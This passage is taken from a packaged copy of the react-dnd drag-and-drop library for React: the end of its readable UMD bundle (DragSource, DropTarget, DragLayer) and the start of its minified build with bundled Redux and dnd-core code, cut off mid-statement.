          _this.handleChange = function () {
            var nextState = _this.getCurrentState();

            if (!shallowEqual(nextState, _this.state)) {
              _this.setState(nextState);
            }
          };

          _this.disposable = new SerialDisposable();

          _this.receiveProps(props);

          _this.dispose();

          return _this;
        }

        _createClass$8(DragDropContainer, [{
          key: "getHandlerId",
          value: function getHandlerId() {
            return this.handlerId;
          }
        }, {
          key: "getDecoratedComponentInstance",
          value: function getDecoratedComponentInstance() {
            invariant(this.decoratedRef.current, 'In order to access an instance of the decorated component, it must either be a class component or use React.forwardRef()');
            return this.decoratedRef.current;
          }
        }, {
          key: "shouldComponentUpdate",
          value: function shouldComponentUpdate(nextProps, nextState) {
            return !arePropsEqual(nextProps, this.props) || !shallowEqual(nextState, this.state);
          }
        }, {
          key: "componentDidMount",
          value: function componentDidMount() {
            this.disposable = new SerialDisposable();
            this.currentType = undefined;
            this.receiveProps(this.props);
            this.handleChange();
          }
        }, {
          key: "componentDidUpdate",
          value: function componentDidUpdate(prevProps) {
            if (!arePropsEqual(this.props, prevProps)) {
              this.receiveProps(this.props);
              this.handleChange();
            }
          }
        }, {
          key: "componentWillUnmount",
          value: function componentWillUnmount() {
            this.dispose();
          }
        }, {
          key: "receiveProps",
          value: function receiveProps(props) {
            if (!this.handler) {
              return;
            }

            this.handler.receiveProps(props);
            this.receiveType(getType(props));
          }
        }, {
          key: "receiveType",
          value: function receiveType(type) {
            if (!this.handlerMonitor || !this.manager || !this.handlerConnector) {
              return;
            }

            if (type === this.currentType) {
              return;
            }

            this.currentType = type;

            var _registerHandler = registerHandler(type, this.handler, this.manager),
                _registerHandler2 = _slicedToArray$9(_registerHandler, 2),
                handlerId = _registerHandler2[0],
                unregister = _registerHandler2[1];

            this.handlerId = handlerId;
            this.handlerMonitor.receiveHandlerId(handlerId);
            this.handlerConnector.receiveHandlerId(handlerId);
            var globalMonitor = this.manager.getMonitor();
            var unsubscribe = globalMonitor.subscribeToStateChange(this.handleChange, {
              handlerIds: [handlerId]
            });
            this.disposable.setDisposable(new CompositeDisposable(new Disposable(unsubscribe), new Disposable(unregister)));
          }
        }, {
          key: "dispose",
          value: function dispose() {
            this.disposable.dispose();

            if (this.handlerConnector) {
              this.handlerConnector.receiveHandlerId(null);
            }
          }
        }, {
          key: "getCurrentState",
          value: function getCurrentState() {
            if (!this.handlerConnector) {
              return {};
            }

            var nextState = collect(this.handlerConnector.hooks, this.handlerMonitor, this.props);

            {
              invariant(isPlainObject$1(nextState), 'Expected `collect` specified as the second argument to ' + '%s for %s to return a plain object of props to inject. ' + 'Instead, received %s.', containerDisplayName, displayName, nextState);
            }

            return nextState;
          }
        }, {
          key: "render",
          value: function render() {
            var _this2 = this;

            return React.createElement(DndContext.Consumer, null, function (_ref2) {
              var dragDropManager = _ref2.dragDropManager;

              _this2.receiveDragDropManager(dragDropManager);

              if (typeof requestAnimationFrame !== 'undefined') {
                requestAnimationFrame(function () {
                  var _this2$handlerConnect;

                  return (_this2$handlerConnect = _this2.handlerConnector) === null || _this2$handlerConnect === void 0 ? void 0 : _this2$handlerConnect.reconnect();
                });
              }

              return React.createElement(Decorated, Object.assign({}, _this2.props, _this2.getCurrentState(), {
                // NOTE: if Decorated is a Function Component, decoratedRef will not be populated unless it's a refforwarding component.
                ref: isRefable(Decorated) ? _this2.decoratedRef : null
              }));
            });
          }
        }, {
          key: "receiveDragDropManager",
          value: function receiveDragDropManager(dragDropManager) {
            if (this.manager !== undefined) {
              return;
            }

            invariant(dragDropManager !== undefined, 'Could not find the drag and drop manager in the context of %s. ' + 'Make sure to render a DndProvider component in your top-level component. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#could-not-find-the-drag-and-drop-manager-in-the-context', displayName, displayName);

            if (dragDropManager === undefined) {
              return;
            }

            this.manager = dragDropManager;
            this.handlerMonitor = createMonitor(dragDropManager);
            this.handlerConnector = createConnector(dragDropManager.getBackend());
            this.handler = createHandler(this.handlerMonitor, this.decoratedRef);
          }
        }]);

        return DragDropContainer;
      }(React.Component);

      DragDropContainer.DecoratedComponent = DecoratedComponent;
      DragDropContainer.displayName = "".concat(containerDisplayName, "(").concat(displayName, ")");
      return DragDropContainer;
    }();

    return hoistNonReactStatics_cjs(DragDropContainer, DecoratedComponent);
  }

  function _typeof$6(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof$6 = function _typeof(obj) { return typeof obj; }; } else { _typeof$6 = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof$6(obj); }

  function isValidType(type, allowArray) {
    return typeof type === 'string' || _typeof$6(type) === 'symbol' || !!allowArray && Array.isArray(type) && type.every(function (t) {
      return isValidType(t, false);
    });
  }

  function _classCallCheck$9(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

  function _defineProperties$9(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

  function _createClass$9(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$9(Constructor.prototype, protoProps); if (staticProps) _defineProperties$9(Constructor, staticProps); return Constructor; }
  var ALLOWED_SPEC_METHODS = ['canDrag', 'beginDrag', 'isDragging', 'endDrag'];
  var REQUIRED_SPEC_METHODS = ['beginDrag'];

  var SourceImpl = /*#__PURE__*/function () {
    function SourceImpl(spec, monitor, ref) {
      var _this = this;

      _classCallCheck$9(this, SourceImpl);

      this.props = null;

      this.beginDrag = function () {
        if (!_this.props) {
          return;
        }

        var item = _this.spec.beginDrag(_this.props, _this.monitor, _this.ref.current);

        {
          invariant(isPlainObject$1(item), 'beginDrag() must return a plain object that represents the dragged item. ' + 'Instead received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', item);
        }

        return item;
      };

      this.spec = spec;
      this.monitor = monitor;
      this.ref = ref;
    }

    _createClass$9(SourceImpl, [{
      key: "receiveProps",
      value: function receiveProps(props) {
        this.props = props;
      }
    }, {
      key: "canDrag",
      value: function canDrag() {
        if (!this.props) {
          return false;
        }

        if (!this.spec.canDrag) {
          return true;
        }

        return this.spec.canDrag(this.props, this.monitor);
      }
    }, {
      key: "isDragging",
      value: function isDragging(globalMonitor, sourceId) {
        if (!this.props) {
          return false;
        }

        if (!this.spec.isDragging) {
          return sourceId === globalMonitor.getSourceId();
        }

        return this.spec.isDragging(this.props, this.monitor);
      }
    }, {
      key: "endDrag",
      value: function endDrag() {
        if (!this.props) {
          return;
        }

        if (!this.spec.endDrag) {
          return;
        }

        this.spec.endDrag(this.props, this.monitor, getDecoratedComponent(this.ref));
      }
    }]);

    return SourceImpl;
  }();

  function createSourceFactory(spec) {
    Object.keys(spec).forEach(function (key) {
      invariant(ALLOWED_SPEC_METHODS.indexOf(key) > -1, 'Expected the drag source specification to only have ' + 'some of the following keys: %s. ' + 'Instead received a specification with an unexpected "%s" key. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', ALLOWED_SPEC_METHODS.join(', '), key);
      invariant(typeof spec[key] === 'function', 'Expected %s in the drag source specification to be a function. ' + 'Instead received a specification with %s: %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', key, key, spec[key]);
    });
    REQUIRED_SPEC_METHODS.forEach(function (key) {
      invariant(typeof spec[key] === 'function', 'Expected %s in the drag source specification to be a function. ' + 'Instead received a specification with %s: %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', key, key, spec[key]);
    });
    return function createSource(monitor, ref) {
      return new SourceImpl(spec, monitor, ref);
    };
  }

  /**
   * Decorates a component as a dragsource
   * @param type The dragsource type
   * @param spec The drag source specification
   * @param collect The props collector function
   * @param options DnD options
   */

  function DragSource(type, spec, collect) {
    var options = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {};
    checkDecoratorArguments('DragSource', 'type, spec, collect[, options]', type, spec, collect, options);
    var getType = type;

    if (typeof type !== 'function') {
      invariant(isValidType(type), 'Expected "type" provided as the first argument to DragSource to be ' + 'a string, or a function that returns a string given the current props. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', type);

      getType = function getType() {
        return type;
      };
    }

    invariant(isPlainObject$1(spec), 'Expected "spec" provided as the second argument to DragSource to be ' + 'a plain object. Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', spec);
    var createSource = createSourceFactory(spec);
    invariant(typeof collect === 'function', 'Expected "collect" provided as the third argument to DragSource to be ' + 'a function that returns a plain object of props to inject. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', collect);
    invariant(isPlainObject$1(options), 'Expected "options" provided as the fourth argument to DragSource to be ' + 'a plain object when specified. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', collect);
    return function decorateSource(DecoratedComponent) {
      return decorateHandler({
        containerDisplayName: 'DragSource',
        createHandler: createSource,
        registerHandler: registerSource,
        createConnector: function createConnector(backend) {
          return new SourceConnector(backend);
        },
        createMonitor: function createMonitor(manager) {
          return new DragSourceMonitorImpl(manager);
        },
        DecoratedComponent: DecoratedComponent,
        getType: getType,
        collect: collect,
        options: options
      });
    };
  }

  function _classCallCheck$a(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

  function _defineProperties$a(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

  function _createClass$a(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$a(Constructor.prototype, protoProps); if (staticProps) _defineProperties$a(Constructor, staticProps); return Constructor; }
  var ALLOWED_SPEC_METHODS$1 = ['canDrop', 'hover', 'drop'];

  var TargetImpl = /*#__PURE__*/function () {
    function TargetImpl(spec, monitor, ref) {
      _classCallCheck$a(this, TargetImpl);

      this.props = null;
      this.spec = spec;
      this.monitor = monitor;
      this.ref = ref;
    }

    _createClass$a(TargetImpl, [{
      key: "receiveProps",
      value: function receiveProps(props) {
        this.props = props;
      }
    }, {
      key: "receiveMonitor",
      value: function receiveMonitor(monitor) {
        this.monitor = monitor;
      }
    }, {
      key: "canDrop",
      value: function canDrop() {
        if (!this.spec.canDrop) {
          return true;
        }

        return this.spec.canDrop(this.props, this.monitor);
      }
    }, {
      key: "hover",
      value: function hover() {
        if (!this.spec.hover || !this.props) {
          return;
        }

        this.spec.hover(this.props, this.monitor, getDecoratedComponent(this.ref));
      }
    }, {
      key: "drop",
      value: function drop() {
        if (!this.spec.drop) {
          return undefined;
        }

        var dropResult = this.spec.drop(this.props, this.monitor, this.ref.current);

        {
          invariant(typeof dropResult === 'undefined' || isPlainObject$1(dropResult), 'drop() must either return undefined, or an object that represents the drop result. ' + 'Instead received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', dropResult);
        }

        return dropResult;
      }
    }]);

    return TargetImpl;
  }();

  function createTargetFactory(spec) {
    Object.keys(spec).forEach(function (key) {
      invariant(ALLOWED_SPEC_METHODS$1.indexOf(key) > -1, 'Expected the drop target specification to only have ' + 'some of the following keys: %s. ' + 'Instead received a specification with an unexpected "%s" key. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', ALLOWED_SPEC_METHODS$1.join(', '), key);
      invariant(typeof spec[key] === 'function', 'Expected %s in the drop target specification to be a function. ' + 'Instead received a specification with %s: %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', key, key, spec[key]);
    });
    return function createTarget(monitor, ref) {
      return new TargetImpl(spec, monitor, ref);
    };
  }

  function DropTarget(type, spec, collect) {
    var options = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {};
    checkDecoratorArguments('DropTarget', 'type, spec, collect[, options]', type, spec, collect, options);
    var getType = type;

    if (typeof type !== 'function') {
      invariant(isValidType(type, true), 'Expected "type" provided as the first argument to DropTarget to be ' + 'a string, an array of strings, or a function that returns either given ' + 'the current props. Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', type);

      getType = function getType() {
        return type;
      };
    }

    invariant(isPlainObject$1(spec), 'Expected "spec" provided as the second argument to DropTarget to be ' + 'a plain object. Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', spec);
    var createTarget = createTargetFactory(spec);
    invariant(typeof collect === 'function', 'Expected "collect" provided as the third argument to DropTarget to be ' + 'a function that returns a plain object of props to inject. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', collect);
    invariant(isPlainObject$1(options), 'Expected "options" provided as the fourth argument to DropTarget to be ' + 'a plain object when specified. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', collect);
    return function decorateTarget(DecoratedComponent) {
      return decorateHandler({
        containerDisplayName: 'DropTarget',
        createHandler: createTarget,
        registerHandler: registerTarget,
        createMonitor: function createMonitor(manager) {
          return new DropTargetMonitorImpl(manager);
        },
        createConnector: function createConnector(backend) {
          return new TargetConnector(backend);
        },
        DecoratedComponent: DecoratedComponent,
        getType: getType,
        collect: collect,
        options: options
      });
    };
  }

  function _typeof$7(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof$7 = function _typeof(obj) { return typeof obj; }; } else { _typeof$7 = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof$7(obj); }

  function _classCallCheck$b(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

  function _defineProperties$b(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

  function _createClass$b(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$b(Constructor.prototype, protoProps); if (staticProps) _defineProperties$b(Constructor, staticProps); return Constructor; }

  function _inherits$1(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf$1(subClass, superClass); }

  function _setPrototypeOf$1(o, p) { _setPrototypeOf$1 = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf$1(o, p); }

  function _createSuper$1(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct$1(); return function _createSuperInternal() { var Super = _getPrototypeOf$1(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf$1(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn$1(this, result); }; }

  function _possibleConstructorReturn$1(self, call) { if (call && (_typeof$7(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized$1(self); }

  function _assertThisInitialized$1(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; }

  function _isNativeReflectConstruct$1() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } }

  function _getPrototypeOf$1(o) { _getPrototypeOf$1 = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf$1(o); }
  function DragLayer(collect) {
    var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
    checkDecoratorArguments('DragLayer', 'collect[, options]', collect, options);
    invariant(typeof collect === 'function', 'Expected "collect" provided as the first argument to DragLayer to be a function that collects props to inject into the component. ', 'Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-layer', collect);
    invariant(isPlainObject$1(options), 'Expected "options" provided as the second argument to DragLayer to be a plain object when specified. ' + 'Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-layer', options);
    return function decorateLayer(DecoratedComponent) {
      var Decorated = DecoratedComponent;
      var _options$arePropsEqua = options.arePropsEqual,
          arePropsEqual = _options$arePropsEqua === void 0 ? shallowEqual : _options$arePropsEqua;
      var displayName = Decorated.displayName || Decorated.name || 'Component';

      var DragLayerContainer =
      /** @class */
      function () {
        var DragLayerContainer = /*#__PURE__*/function (_React$Component) {
          _inherits$1(DragLayerContainer, _React$Component);

          var _super = _createSuper$1(DragLayerContainer);

          function DragLayerContainer() {
            var _this;

            _classCallCheck$b(this, DragLayerContainer);

            _this = _super.apply(this, arguments);
            _this.isCurrentlyMounted = false;
            _this.ref = React.createRef();

            _this.handleChange = function () {
              if (!_this.isCurrentlyMounted) {
                return;
              }

              var nextState = _this.getCurrentState();

              if (!shallowEqual(nextState, _this.state)) {
                _this.setState(nextState);
              }
            };

            return _this;
          }

          _createClass$b(DragLayerContainer, [{
            key: "getDecoratedComponentInstance",
            value: function getDecoratedComponentInstance() {
              invariant(this.ref.current, 'In order to access an instance of the decorated component, it must either be a class component or use React.forwardRef()');
              return this.ref.current;
            }
          }, {
            key: "shouldComponentUpdate",
            value: function shouldComponentUpdate(nextProps, nextState) {
              return !arePropsEqual(nextProps, this.props) || !shallowEqual(nextState, this.state);
            }
          }, {
            key: "componentDidMount",
            value: function componentDidMount() {
              this.isCurrentlyMounted = true;
              this.handleChange();
            }
          }, {
            key: "componentWillUnmount",
            value: function componentWillUnmount() {
              this.isCurrentlyMounted = false;

              if (this.unsubscribeFromOffsetChange) {
                this.unsubscribeFromOffsetChange();
                this.unsubscribeFromOffsetChange = undefined;
              }

              if (this.unsubscribeFromStateChange) {
                this.unsubscribeFromStateChange();
                this.unsubscribeFromStateChange = undefined;
              }
            }
          }, {
            key: "render",
            value: function render() {
              var _this2 = this;

              return React.createElement(DndContext.Consumer, null, function (_ref) {
                var dragDropManager = _ref.dragDropManager;

                if (dragDropManager === undefined) {
                  return null;
                }

                _this2.receiveDragDropManager(dragDropManager); // Let componentDidMount fire to initialize the collected state


                if (!_this2.isCurrentlyMounted) {
                  return null;
                }

                return React.createElement(Decorated, Object.assign({}, _this2.props, _this2.state, {
                  ref: isRefable(Decorated) ? _this2.ref : null
                }));
              });
            }
          }, {
            key: "receiveDragDropManager",
            value: function receiveDragDropManager(dragDropManager) {
              if (this.manager !== undefined) {
                return;
              }

              this.manager = dragDropManager;
              invariant(_typeof$7(dragDropManager) === 'object', 'Could not find the drag and drop manager in the context of %s. ' + 'Make sure to render a DndProvider component in your top-level component. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#could-not-find-the-drag-and-drop-manager-in-the-context', displayName, displayName);
              var monitor = this.manager.getMonitor();
              this.unsubscribeFromOffsetChange = monitor.subscribeToOffsetChange(this.handleChange);
              this.unsubscribeFromStateChange = monitor.subscribeToStateChange(this.handleChange);
            }
          }, {
            key: "getCurrentState",
            value: function getCurrentState() {
              if (!this.manager) {
                return {};
              }

              var monitor = this.manager.getMonitor();
              return collect(monitor, this.props);
            }
          }]);

          return DragLayerContainer;
        }(React.Component);

        DragLayerContainer.displayName = "DragLayer(".concat(displayName, ")");
        DragLayerContainer.DecoratedComponent = DecoratedComponent;
        return DragLayerContainer;
      }();

      return hoistNonReactStatics_cjs(DragLayerContainer, DecoratedComponent);
    };
  }

  exports.DndContext = DndContext;
  exports.DndProvider = DndProvider;
  exports.DragLayer = DragLayer;
  exports.DragPreviewImage = DragPreviewImage;
  exports.DragSource = DragSource;
  exports.DropTarget = DropTarget;
  exports.createDndContext = createDndContext;
  exports.useDrag = useDrag;
  exports.useDragDropManager = useDragDropManager;
  exports.useDragLayer = useDragLayer;
  exports.useDrop = useDrop;

  Object.defineProperty(exports, '__esModule', { value: true });

})));
umd/ReactDnD.min.js000064400000216406151677306070010122 0ustar00!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports,require("react")):"function"==typeof define&&define.amd?define(["exports","react"],t):t((e=e||self).ReactDnD={},e.React)}(this,(function(e,t){"use strict";var r;!function(e){e.SOURCE="SOURCE",e.TARGET="TARGET"}(r||(r={}));var n=function(e){var t,r=e.Symbol;return"function"==typeof r?r.observable?t=r.observable:(t=r("observable"),r.observable=t):t="@@observable",t}("undefined"!=typeof self?self:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof module?module:Function("return this")()),o=function(){return Math.random().toString(36).substring(7).split("").join(".")},i={INIT:"@@redux/INIT"+o(),REPLACE:"@@redux/REPLACE"+o(),PROBE_UNKNOWN_ACTION:function(){return"@@redux/PROBE_UNKNOWN_ACTION"+o()}};function a(e){if("object"!=typeof e||null===e)return!1;for(var t=e;null!==Object.getPrototypeOf(t);)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t}function u(e,t,r){var o;if("function"==typeof t&&"function"==typeof r||"function"==typeof r&&"function"==typeof arguments[3])throw new Error("It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function.");if("function"==typeof t&&void 0===r&&(r=t,t=void 0),void 0!==r){if("function"!=typeof r)throw new Error("Expected the enhancer to be a function.");return r(u)(e,t)}if("function"!=typeof e)throw new Error("Expected the reducer to be a function.");var c=e,s=t,f=[],l=f,d=!1;function p(){l===f&&(l=f.slice())}function h(){if(d)throw new Error("You may not call store.getState() while the reducer is executing. The reducer has already received the state as an argument. Pass it down from the top reducer instead of reading it from the store.");return s}function g(e){if("function"!=typeof e)throw new Error("Expected the listener to be a function.");if(d)throw new Error("You may not call store.subscribe() while the reducer is executing. If you would like to be notified after the store has been updated, subscribe from a component and invoke store.getState() in the callback to access the latest state. See https://redux.js.org/api-reference/store#subscribelistener for more details.");var t=!0;return p(),l.push(e),function(){if(t){if(d)throw new Error("You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribelistener for more details.");t=!1,p();var r=l.indexOf(e);l.splice(r,1),f=null}}}function y(e){if(!a(e))throw new Error("Actions must be plain objects. Use custom middleware for async actions.");if(void 0===e.type)throw new Error('Actions may not have an undefined "type" property. Have you misspelled a constant?');if(d)throw new Error("Reducers may not dispatch actions.");try{d=!0,s=c(s,e)}finally{d=!1}for(var t=f=l,r=0;r<t.length;r++){(0,t[r])()}return e}function v(e){if("function"!=typeof e)throw new Error("Expected the nextReducer to be a function.");c=e,y({type:i.REPLACE})}function b(){var e,t=g;return(e={subscribe:function(e){if("object"!=typeof e||null===e)throw new TypeError("Expected the observer to be an object.");function r(){e.next&&e.next(h())}return r(),{unsubscribe:t(r)}}})[n]=function(){return this},e}return y({type:i.INIT}),(o={dispatch:y,subscribe:g,getState:h,replaceReducer:v})[n]=b,o}function c(e,t){for(var r=arguments.length,n=new Array(r>2?r-2:0),o=2;o<r;o++)n[o-2]=arguments[o];if(!e){var i;if(void 0===t)i=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var a=0;(i=new Error(t.replace(/%s/g,(function(){return n[a++]})))).name="Invariant Violation"}throw i.framesToPop=1,i}}var s="dnd-core/INIT_COORDS",f="dnd-core/BEGIN_DRAG",l="dnd-core/PUBLISH_DRAG_SOURCE",d="dnd-core/HOVER",p="dnd-core/DROP",h="dnd-core/END_DRAG";function g(e,t){return{type:s,payload:{sourceClientOffset:t||null,clientOffset:e||null}}}function y(e){return(y="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function v(e,t,r){return t.split(".").reduce((function(e,t){return e&&e[t]?e[t]:r||null}),e)}function b(e,t){return e.filter((function(e){return e!==t}))}function m(e){return"object"===y(e)}function O(e,t){var r=new Map,n=function(e){r.set(e,r.has(e)?r.get(e)+1:1)};e.forEach(n),t.forEach(n);var o=[];return r.forEach((function(e,t){1===e&&o.push(t)})),o}var S={type:s,payload:{clientOffset:null,sourceClientOffset:null}};function w(e){return function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{publishSource:!0},n=r.publishSource,o=void 0===n||n,i=r.clientOffset,a=r.getSourceClientOffset,u=e.getMonitor(),c=e.getRegistry();e.dispatch(g(i)),D(t,u,c);var s=k(t,u);if(null!==s){var l=null;if(i){if(!a)throw new Error("getSourceClientOffset must be defined");I(a),l=a(s)}e.dispatch(g(i,l));var d=c.getSource(s),p=d.beginDrag(u,s);C(p),c.pinSource(s);var h=c.getSourceType(s);return{type:f,payload:{itemType:h,item:p,sourceId:s,clientOffset:i||null,sourceClientOffset:l||null,isSourcePublic:!!o}}}e.dispatch(S)}}function D(e,t,r){c(!t.isDragging(),"Cannot call beginDrag while dragging."),e.forEach((function(e){c(r.getSource(e),"Expected sourceIds to be registered.")}))}function I(e){c("function"==typeof e,"When clientOffset is provided, getSourceClientOffset must be a function.")}function C(e){c(m(e),"Item must be an object.")}function k(e,t){for(var r=null,n=e.length-1;n>=0;n--)if(t.canDragSource(e[n])){r=e[n];break}return r}function T(e){return function(){if(e.getMonitor().isDragging())return{type:l}}}function P(e,t){return null===t?null===e:Array.isArray(e)?e.some((function(e){return e===t})):e===t}function j(e){return function(t){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=r.clientOffset;E(t);var o=t.slice(0),i=e.getMonitor(),a=e.getRegistry();R(o,i,a);var u=i.getItemType();return x(o,a,u),M(o,i,a),{type:d,payload:{targetIds:o,clientOffset:n||null}}}}function E(e){c(Array.isArray(e),"Expected targetIds to be an array.")}function R(e,t,r){c(t.isDragging(),"Cannot call hover while not dragging."),c(!t.didDrop(),"Cannot call hover after drop.");for(var n=0;n<e.length;n++){var o=e[n];c(e.lastIndexOf(o)===n,"Expected targetIds to be unique in the passed array."),c(r.getTarget(o),"Expected targetIds to be registered.")}}function x(e,t,r){for(var n=e.length-1;n>=0;n--){var o=e[n];P(t.getTargetType(o),r)||e.splice(n,1)}}function M(e,t,r){e.forEach((function(e){r.getTarget(e).hover(t,e)}))}function A(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function _(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?A(Object(r),!0).forEach((function(t){N(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):A(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function N(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function H(e){return function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},r=e.getMonitor(),n=e.getRegistry();U(r);var o=F(r);o.forEach((function(o,i){var a=$(o,i,n,r),u={type:p,payload:{dropResult:_(_({},t),a)}};e.dispatch(u)}))}}function U(e){c(e.isDragging(),"Cannot call drop while not dragging."),c(!e.didDrop(),"Cannot call drop twice during one drag operation.")}function $(e,t,r,n){var o=r.getTarget(e),i=o?o.drop(n,e):void 0;return function(e){c(void 0===e||m(e),"Drop result must either be an object or undefined.")}(i),void 0===i&&(i=0===t?{}:n.getDropResult()),i}function F(e){var t=e.getTargetIds().filter(e.canDropOnTarget,e);return t.reverse(),t}function L(e){return function(){var t=e.getMonitor(),r=e.getRegistry();!function(e){c(e.isDragging(),"Cannot call endDrag while not dragging.")}(t);var n=t.getSourceId();null!=n&&(r.getSource(n,!0).endDrag(t,n),r.unpinSource());return{type:h}}}var B=function(e,t){return e===t};function G(e,t){return!e&&!t||!(!e||!t)&&(e.x===t.x&&e.y===t.y)}function q(e,t){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:B;if(e.length!==t.length)return!1;for(var n=0;n<e.length;++n)if(!r(e[n],t[n]))return!1;return!0}function V(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function W(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?V(Object(r),!0).forEach((function(t){Y(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):V(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function Y(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var z={initialSourceClientOffset:null,initialClientOffset:null,clientOffset:null};function K(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:z,t=arguments.length>1?arguments[1]:void 0,r=t.payload;switch(t.type){case s:case f:return{initialSourceClientOffset:r.sourceClientOffset,initialClientOffset:r.clientOffset,clientOffset:r.clientOffset};case d:return G(e.clientOffset,r.clientOffset)?e:W(W({},e),{},{clientOffset:r.clientOffset});case h:case p:return z;default:return e}}var 